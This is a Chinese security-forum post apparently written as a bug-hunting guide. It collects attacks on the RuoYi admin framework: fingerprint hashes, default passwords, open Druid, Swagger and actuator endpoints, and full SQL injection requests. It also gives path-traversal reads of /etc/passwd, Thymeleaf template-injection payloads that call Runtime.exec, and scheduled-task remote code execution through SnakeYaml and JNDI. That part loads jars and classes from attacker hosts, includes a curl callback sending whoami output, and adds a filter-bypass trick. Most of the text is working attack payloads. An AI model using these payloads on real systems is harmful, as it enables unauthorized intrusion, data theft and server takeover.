查看: 3419|回复: 0

若依系统前台+后台漏洞总结:RuoYi框架九大高危漏洞攻防指南|挖洞技巧

[复制链接]
匿名
匿名  发表于 2025-7-22 11:30:44 |阅读模式
0x01 前言

RuoYi历史漏洞包括Shiro反序列化漏洞、SSTI漏洞、SQL注入、默认口令、任意文件下载、定时任务远程RCE等。其中,Shiro反序列化漏洞适用于RuoYi V-4.6.2之前的版本,SSTI漏洞适用于V-4.7.1版本,SQL注入适用于<V-4.6.2版本。任意文件下载漏洞适用于所有版本V-4.7.8之前,定时任务远程RCE适用于<V-4.7.2版本。文章还介绍了漏洞的复现过程、修复方法以及一些绕过策略。总结了RuoYi存在的各种漏洞,提醒用户及时修复以确保系统的安全性。

qw1.jpg

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
参考文章[url=https://www.freebuf.com/articles/web/411980.htmlhttps://www.cnblogs.com/wavewindsor/p/17880329.html]https://www.freebuf.com/articles/web/411980.htmlhttps://www.cnblogs.com/wavewindsor/p/17880329.html[/url]
末尾可领取挖洞资料文件 #渗透安全HackTwo

0x02 漏洞详情

若依前台漏洞

若依特征
绿若依:
[AppleScript] 纯文本查看 复制代码
icon_hash=”706913071”

qw2.jpg

qw3.jpg
绿若依常见登录页面

qw4.jpg
蓝若依:
[AppleScript] 纯文本查看 复制代码
icon_hash=” -1231872293”


qw5.jpg

qw6.jpg

蓝若依常见登录界面
qw7.jpg

部分漏洞可借助若依综合漏洞利用工具一键扫描(工具在内部星球获取)

qw8.jpg

若依框架通常使用的组件有springboot、webpack、shiro、druid、swagger、redis、zookeeper、mysql等

未授权访问

常见为绿若依,绿若依一般都会常用webpack组件,F12查看js文件,找到一个名为appxxxxxx.js的文件,搜索baseurl,找到api路径
qw9.jpg

常见的api路径有:/api、/dev-api、/prod-api等

也有一些api路径指向的是另一个网址
qw10.jpg

访问后为如下界面
qw11.jpg

对其进行目录扫描能发现许多信息

常见的未授权有druid、springboot、swagger

在api后面拼接对应路径
druid未授权
druid:http://ip/baseurl/druid/login.html
qw12.jpg

如果有未授权可以直接访问,需要账号密码的可以配合若依系统弱口令进行登录

常见弱口令有:
admin/admin
admin/admin123
admin/123456
ry/123456
ruoyi/123456


登录后重点查看Session监控和URI监控两处
Session监控里存在历史登录的Session,可以尝试替换Session值进行登录
qw13.jpg

URI监控处存在大量接口路径,可以进一步访问获取敏感信息
qw14.jpg

swagger未授权
swagger:http://ip/baseurl/swagger-ui/
qw15.jpg

可以通过接口文档进行下一步操作,如果发现大量接口可以使用工具进行自动化测试,如swagger-hack
qw16.jpg

springboot未授权
springboot:http://ip/baseurl/actuator
qw17.jpg

重点关注/actuator/heapdump路径

访问下载后使用工具对其进行分析可获得大量敏感信息
qw18.jpg

qw19.jpg

redis未授权
若依系统通常会用到mysql和redis数据库,可以尝试redis未授权访问,或者对数据库进行弱口令爆破

弱口令+默认密码
常见登录界面路径为:/login

如果页面访问显示不正常,可添加默认访问路径尝试是否显示正常

[AppleScript] 纯文本查看 复制代码
/login?redirect=%2Findex
/baseurl/login?redirect=%2Findex


有些若依系统的账号密码会直接显示在前台登录框中,可以直接利用进行登录
qw20.jpg

常见的弱口令有:
admin/admin
admin/admin123
admin/123456
ry/123456ry/admin123
ruoyo/admin123
ruoyi/123456

注册接口
在弱口令等方法都试过之后还无法登录,可以尝试访问注册接口看看系统是否允许注册

访问:/register

不允许注册
qw21.jpg

允许注册

qw22.jpg

注册成功后就可以使用注册账号登录进一步测试

shiro反序列化
若依登录界面通常都采用了rememberMe字段,如果存在默认的key值,则可以进一步利用,实现shiro反序列化

qw23.jpg

未授权文件上传
常见于绿若依系统,F12查找js中的app.js,搜索uploadurl
qw24.jpg

访问对应路径/baseurl/common/upload

有鉴权
qw25.jpg

未授权
qw26.jpg

构造对应的文件上传请求包
qw27.jpg

访问返回的文件路径
qw28.jpg

有些网站做了限制,只允许白名单上传
qw29.jpg

这种情况可以打带有xss的html文件,造成存储xss

没限制的网站可以直接getshell

若依后台漏洞
若依后台存在多处sql注入漏洞漏洞简介
若依后台存在多个SQL注入点
漏洞复现
进入后台后,拦截角色管理页面的请求包

qw30.jpg

POC:

[AppleScript] 纯文本查看 复制代码
POST /system/role/list HTTP/1.1
Host: 127.0.0.1
Content-Length: 179sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttp
Requestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: [url=http://127.0.0.1]http://127.0.0.1[/url]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [url=http://127.0.0.1/system/role]http://127.0.0.1/system/role[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closepageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))


qw31.jpg

第二个sql注入点:角色编辑接口
POC:
[AppleScript] 纯文本查看 复制代码
POST /system/dept/edit HTTP/1.1
Host: 127.0.0.1
Content-Length: 111
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: [url=http://127.0.0.1]http://127.0.0.1[/url]
Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: empty
Referer: [url=http://127.0.0.1/system/role]http://127.0.0.1/system/role[/url]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closeDeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#


qw32.jpg

第三个sql注入点POC:
[AppleScript] 纯文本查看 复制代码
POST /system/role/export HTTP/1.1
Host: 127.0.0.1
Content-Length: 75
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttp
Requestsec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: "Windows"Origin: [url=http://127.0.0.1]http://127.0.0.1[/url]
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: emptyReferer: [url=http://127.0.0.1/system/role]http://127.0.0.1/system/role[/url]
Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=cfcf2d1f-f180-46cf-98bb-5eacc4206014Connection: closeparams[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))


qw33.jpg
RuoYi4.7.5版本后台sql注入
ruoyi-4.7.5 后台 com/ruoyi/generator/controller/GenController 下/tool/gen/createTable路由存在sql注入。
POC:
[AppleScript] 纯文本查看 复制代码
sql=CREATE table ss1 as SELECT/**/* FROM sys_job WHERE 1=1 union/**/SELECT/**/extractvalue(1,concat(0x7e,(select/**/version()),0x7e));


qw34.jpg
若依后台任意文件读取(CNVD-2021-01931)漏洞简介
若依管理系统是基于springboot的权限管理系统,登录后台后可以读取服务器上的任意文件。影响版本:RuoYi<4.5.1
漏洞复现
POC:
[AppleScript] 纯文本查看 复制代码
/common/download/resource?resource=/profile/../../../../etc/passwd/common/download/resource?resource=/profile/../../../../Windows/win.ini


qw35.jpg
读取了D盘下的1.txt文件
若依后台任意文件下载漏洞漏洞简介
若依管理系统后台存在任意文件下载漏洞。影响版本:若依管理系统4.7.6及以下版本
漏洞复现
漏洞利用前提:登录进后台。
首先提交一个定时任务。

[AppleScript] 纯文本查看 复制代码
POST /monitor/job/add HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttp
RequestContent-Length: 188Connection: close
Cookie: o0At_2132_saltkey=JW6Gt2hb; o0At_2132_lastvisit=1691240426; o0At_2132_ulastactivity=2db4EUfD9WS50eLvnip%2B9TxK2ZhcO65vPL0dA6sPVF8AQSBMa6Qn; JSESSIONID=61e79ae9-8cdd-4e51-baac-d269ef551df3createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('c://windows/win.ini')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=


qw36.jpg

通过浏览器直接get请求以下地址即可,下载任意文件。
http://127.0.0.1/common/download/resource?resource=c://windows/win.ini:.zip
qw37.jpg
SSTI(模板注入)漏洞 (仅适用V-4.7.1)分析在RuoYi的
ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor\CacheController.javaruoyi-admin\src\main\java\com\ruoyi\web\controller\demo\controller\DemoFormController.java
下存在可控的return字段,且由于RuoYi使用的是thymeleaf视图渲染组件,因此可进行SSTI模板注入。

其中可注入的接口包括
/localrefresh/task/getValue/getKeys/getNames
接口满足条件。

PostMapping注解控制,会在view中进行解析(或者GetMapping)。

return 值可控(或者url可控)

可以通过在http://localhost/monitor/cache视图下点击按钮抓包,也可直接构包(该接口需要有效cookie)

qw38.jpg

  • 构建fragment参数payload,由于系统未对fragment参数做任何处理就进行返回,因此我们可以直接插入thymeleaf表达式,使用’${}注入执行表达式,T()访问java类和静态访问。因此构建payload:

  • ${T(java.lang.Runtime).getRuntime().exec(“calc.exe”)}

  • 由于thymeleaf高版本对T()进行了一些限制,不过可通过在T和(增加空格的办法进行绕过。

  • ${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)} 增加空格接口/monitor/cache/getName

  • 构包,接口 /monitor/cache/getName (需要有效的身份Cookie)

  • 注入cacheName不能为空

qw39.jpg
bady:
[AppleScript] 纯文本查看 复制代码
**cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}**

四个接口的攻击方式一致,payload一致
接口/monitor/cache/getKeys
qw40.jpg
接口/monitor/cache/getValue
qw41.jpg
接口/demo/form/localrefresh/task
qw42.jpg

修复:在RuoYi-4.7.2版本中,使用了thymeleaf版本3.0.14.RELEASE已无法再进行注入。
定时任务远程RCE(<V-4.7.2)

需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。
SnakeYaml 反序列化简介

  • 通常只要引用了Snakeyaml包的几乎都可进行反序列化

  • 可查看代码是否调用 new Yaml();

qw43.jpg
漏洞复现(V-4.2)

  • 下载yaml反序列化payload工具

    • 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。

下载完工具后将
src/artsploit/AwesomeScriptEngineFactory.java
文件中的Runtime执行语句改为你要执行的命令

qw44.jpg

eg:
[AppleScript] 纯文本查看 复制代码
curl [url=http://192.168.31.246:7000?CMDEcho=]http://192.168.31.246:7000?CMDEcho=[/url]$(whoami)


  • 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)

  • 除此之外,我们需要使用$()命令替换,用于命令回显,因此我们改写一下命令执行函数。

  • 改写方法如图

qw45.jpg
[AppleScript] 纯文本查看 复制代码
String[] cmd = {    "/bin/bash",    "-c",    "curl [url=http://192.168.31.246:7000?echo=]http://192.168.31.246:7000?echo=[/url]$(whoami)"};Runtime.getRuntime().exec(cmd);


  • 在工具根目录 编写yaml-payload.yml文件
[AppleScript] 纯文本查看 复制代码
!!javax.script.ScriptEngineManager [    !!java.net.URLClassLoader [[      !!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]    ]]  ]  


  • 使用JAVA编译该文件,并且打包为jar,命令如下
[AppleScript] 纯文本查看 复制代码
$ javac src/artsploit/AwesomeScriptEngineFactory.java$ jar -cvf yaml-payload.jar -C src/ .


  • 然后在该位置使用python开启http服务,用于远程加载该jar文件

qw46.jpg

  • 添加定时任务加载jar包

  • 目标字符串
[AppleScript] 纯文本查看 复制代码
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“[url=http://192.168.31.246:8000/yaml-payload.jar]http://192.168.31.246:8000/yaml-payload.jar[/url]"]]]]‘)


  • [AppleScript] 纯文本查看 复制代码
    cron表达式0/10 **** ?


qw47.jpg

  • 定时任务请求包
[AppleScript] 纯文本查看 复制代码
POST /monitor/job/edit HTTP/1.1
Host: 192.168.31.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttp
RequestContent-Length: 340Origin: [url=http://192.168.31.209]http://192.168.31.209[/url]
Connection: closeReferer: [url=http://192.168.31.209/monitor/job/edit/112]http://192.168.31.209/monitor/job/edit/112[/url]
Cookie: JSESSIONID=8fb6fb64-75c1-47ca-a145-0b7dd67ec5a2jobId=112&updateBy=admin&jobName=RCE12&jobGroup=DEFAULT&invokeTarget=org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager+%5B!!java.net.URLClassLoader+%5B%5B!!java.net.URL+%5B%22http%3A%2F%2F192.168.31.246%3A8000%2Fyaml-payload.jar%22%5D%5D%5D%5D')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=1&remark=


  • 创建任务后点击执行

qw48.jpg

  • 回显结果如图

qw49.jpg
JNDI注入简介

  • 通过JNDI远程加载恶意类

  • 这次我们使用windows开发环境进行测试

  • 其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)
[td]
JDK6JDK7JDK8JDK11
RMI不可用6u1327u1228u113
LDAP不可用6u2217u2018u11911.0.1

  • 本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试
漏洞复现(V-4.2)
先编译要执行的恶意类

[AppleScript] 纯文本查看 复制代码
javac Calc.java
public class Calc{    public Calc(){        try{            Runtime.getRuntime().exec("calc");            }catch (Exception e){                e.printStackTrace();            }        }        public static void main(String[] argv){            Calc c = new Calc();        }}

将Calc.class文件通过python服务暴露python -m http.server 6000

qw50.jpg

使用marshalsec工具启动一个RMI服务,链接类指向我们公开的端口下载marshalsec,需要自行编译,或者下载别人已经编译好的jar包
RMI注入
[AppleScript] 纯文本查看 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “[url=http://192.168.10.129:6000/#Calc]http://192.168.10.129:6000/#Calc[/url]“ 8888

添加一个定时任务通过lookup函数加载远程类

目标字符串:

[AppleScript] 纯文本查看 复制代码
org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)

cron表达式:0/10 * * * * ?

qw51.jpg

点击执行任务,弹出计算器,测试成功。

qw52.jpg
LDAP注入
启动ldap服务
[AppleScript] 纯文本查看 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “[url=http://192.168.10.129:6000/#Calc]http://192.168.10.129:6000/#Calc[/url]“ 8888


添加一个定时任务通过lookup函数加载远程类

目标字符串:

[AppleScript] 纯文本查看 复制代码
javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)

cron表达式:0/10 **** ?

点击执行,弹出计算器,测试成功

qw53.jpg
高版本绕过策略(V-4.6.2-V-4.7.1)
在V-4.6.2-V-4.7.1版本中RuoYi添加了对ldap和rmi以及http字符串的过滤
[AppleScript] 纯文本查看 复制代码
ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java

qw54.jpg

qw55.jpg

但是可通过添加”‘“的方式来绕过。

例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测

没添加”‘“绕过

qw56.jpg

添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
[AppleScript] 纯文本查看 复制代码
rmi:org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)ldap:javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)SnakeYaml:org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)

测试通过,命令执行成功
修复(V-4.7.2)直接对定时任务调用的类进行黑马名单限制
qw57.jpg

0x03 总结
通过代码审计和漏洞复现,发现部分漏洞(如Shiro反序列化、SQL注入)在V-4.6.2及以上版本通过参数过滤或随机密钥得以修复,但SSTI、定时任务RCE等漏洞在特定版本(如V-4.7.1)仍可通过巧妙的绕过手法利用。喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!后续会更新更多!
qw58.jpg
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-8-2 14:59 , Processed in 0.103547 second(s), 31 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部